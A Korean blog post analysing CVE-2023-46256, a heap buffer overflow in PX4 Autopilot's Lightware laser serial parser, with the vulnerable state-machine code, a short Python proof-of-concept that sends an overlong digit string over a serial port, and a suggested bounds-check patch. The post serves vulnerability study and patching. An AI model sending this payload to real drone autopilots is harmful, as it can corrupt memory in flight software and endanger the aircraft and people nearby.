Computer Security

CVE-2023-46256 본문

프로그래밍/Drone

CVE-2023-46256

쿠리 Kuri 2024. 8. 1. 18:00
반응형
반응형

CVE-2023-46256의 내용은 해당 취약점 리포트를 참고하여 작성하였다.

 

https://github.com/PX4/PX4-Autopilot/security/advisories/GHSA-5hvv-q2r5-rppw

 

[REPORT] Heap Buffer Overflow Bug Found in src/drivers/distance_sensor/lightware_laser_serial/parser.cpp

### Summary We identified a heap buffer overflow vulnerability in the parser function due to the absence of `parserbuf_index` value checking. Target code: [src/drivers/distance_sensor/lightware_l...

github.com

 

취약 버전: PX4 1.14.0 이하 

 

 

요약

 

1.lightware_laser_serial 드라이버 활성화

2.readbuf에서 사용되는 버퍼에 임의로 입력. lightware_laser_serial::collect

3.lightware_parser 데이터를 구문 분석할 때 해당 함수에서 힙 버퍼 오버플로우 취약점 발생

 

아래의 데이터를 보내면 취약점 발생 가능.

payload = b'\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000'

 

 

세부 사항

 

 

1. src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial.cpp:175 해당 파일에서 아래의 코드를 찾았다.

 

PX4-Autopilot/src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial.cpp at main · PX4/PX4-Autopilot

PX4 Autopilot Software. Contribute to PX4/PX4-Autopilot development by creating an account on GitHub.

github.com

 

int ret = ::read(_fd, &readbuf[0], readlen);

 

2.  src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial.cpp:222 파일에 있는 lightware_parser 에서 읽은 데이터를 구문 분석하는 함수를 호출한다.

if (OK == lightware_parser(readbuf[i], _linebuf, &_linebuf_index, &_parse_state, &distance_m)) {
  • readbuf: 10바이트 크기의 버퍼
  • _linebuf: LightwareLaserSerial 객체의 10바이트 크기 버퍼
  • _linebuf_index: LightwareLaserSerial 객체의 sizeof(unsigned)인덱스 크기가 조정되었다._linebuf
  • _parse_state: 상태 정보 (초기값: LW_PARSE_STATE0_UNSYNC)
  • distance_m: 거리값

3.  lightware_parser 함수에서 'LW_PARSE_STATE2_GOT_DIGIT0' 상태가 반복적으로 발생할 수 있는 경우가 있으며, 이는 힙 버퍼 오버플로우 취약점이 발생할 수 있다. 

 

lightware_parser 는 주어진 문자 ('char c')를 파싱하고, 파싱된 결과를 parserbuf에 저장한다. 이 함수는 여러 state를 통해 동작하며, 각 state는 주어진 문자를 기반으로 다음 상태로 전환한다.

 

 

  • State 0 : LW_PARSE_STATE0_UNSYNC

\n 문자가 들어오면 LW_PARSE_STATE1_SYNC 상태로 전환하고, parserbuf_index를 0으로 초기화 한다.

case LW_PARSE_STATE0_UNSYNC:
	if (c == '\n') {
		*state = LW_PARSE_STATE1_SYNC;
		(*parserbuf_index) = 0;
	}
	break;

 

 

  • State 1 : LW_PARSE_STATE1_SYNC

숫자(0-9)가 들어오면 LW_PARSE_STATE2_GOT_DIGIT0 상태로 전환하고, 문자를 parserbuf에 저장한다. 또한, parserbuf_index를 증가시킨다.

case LW_PARSE_STATE1_SYNC:
	if (c >= '0' && c <= '9') {
		*state = LW_PARSE_STATE2_GOT_DIGIT0;
		parserbuf[*parserbuf_index] = c;
		(*parserbuf_index)++;
	}
	break;

 

 

  • State 2 : LW_PARSE_STATE2_GOT_DIGIT0

숫자가 들어오면 다시 LW_PARSE_STATE2_GOT_DIGIT0 상태를 유지하면서, 문자를 parsebuf에 저장하고 parserbuf_index를 증가시킨다. 만약 문자가 점(.)이라면 LW_PARSE_STATE3_GOT_DOT 상태로 전환한다. 그 외 문자가 들어오면 LW_PARSE_STATE0_UNSYNC 상태로 전환한다.

case LW_PARSE_STATE2_GOT_DIGIT0:
	if (c >= '0' && c <= '9') {
		*state = LW_PARSE_STATE2_GOT_DIGIT0;
		parserbuf[*parserbuf_index] = c;
		(*parserbuf_index)++;
	} else if (c == '.') {
		*state = LW_PARSE_STATE3_GOT_DOT;
		parserbuf[*parserbuf_index] = c;
		(*parserbuf_index)++;
	} else {
		*state = LW_PARSE_STATE0_UNSYNC;
	}
	break;

 

 

취약점 분석

 

LW_PARSE_STATE2_GOT_DIGIT0 상태에서는 숫자가 계속 들어올 경우 해당 상태를 유지하면서 parserbuf에 숫자를 계속 저장한다. 이때 parserbuf_index는 계속 증가하게 되는데, 여기서 parserbuf_index의 값이 최대 버퍼 크기를 초과할 수 있다. 이 경우 parserbuf 배열의 범위를 벗어나 메모리에 데이터를 쓰게 되어 힙 버퍼 오버플로우가 발생할 수 있다.

 

 

POC

import serial
import time

ser = serial.Serial('/dev/pts/4')
if ser.isOpen():
    print('Connection success')
else:
    print('Connection failed')
    exit()

payload = b'\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'

try:
    ser.write(payload)
    print(f'Sent: {payload}')
except Exception as e:
    print(f'Error: {e}')

finally:
    ser.close()
    print('Connection closed')

 

 

 페이로드가 \n 문자로 시작하고 이후 많은 수의 숫자 0이 이어지므로, 이는 lightware_parser 함수에서 LW_PARSE_STATE2_GOT_DIGIT0 상태가 반복되게 하여 parserbuf_index가 계속 증가하게 한다.

만약 parserbuf_index가 충분히 큰 값으로 증가하게 되면, parserbuf 배열의 경계를 넘어서는 메모리 영역에 데이터를 쓰게 되어 힙 버퍼 오버플로우가 발생할 수 있다.

 

 

추천 패치 방안

case LW_PARSE_STATE2_GOT_DIGIT0:
    if (c >= '0' && c <= '9') {
        if (*parserbuf_index > 6) {  // patch
            *state = LW_PARSE_STATE0_UNSYNC;
        } else {
            *state = LW_PARSE_STATE2_GOT_DIGIT0;
            parserbuf[*parserbuf_index] = c;
            (*parserbuf_index)++;
        }
    } else if (c == '.') {
        *state = LW_PARSE_STATE3_GOT_DOT;
        parserbuf[*parserbuf_index] = c;
        (*parserbuf_index)++;
    } else {
        *state = LW_PARSE_STATE0_UNSYNC;
    }
    break;

 

parserbuf_index 검사 추가

기존 코드에서는 이러한 검사가 없기 때문에 parserbuf_index가 무한히 증가 할 수 있었다. 패치에서는 if(*parserbuf_index > 6 ) 조건문을추가하여 parserbuf_index가 6을 초과하는지 확인한다.

반응형

'프로그래밍 > Drone' 카테고리의 다른 글

CVE-2024-24254  (0) 2024.08.03
CVE-2023-47625  (0) 2024.08.02
CVE-2021-46896  (0) 2024.07.31
CVE-2021-34125  (0) 2024.07.30
Comments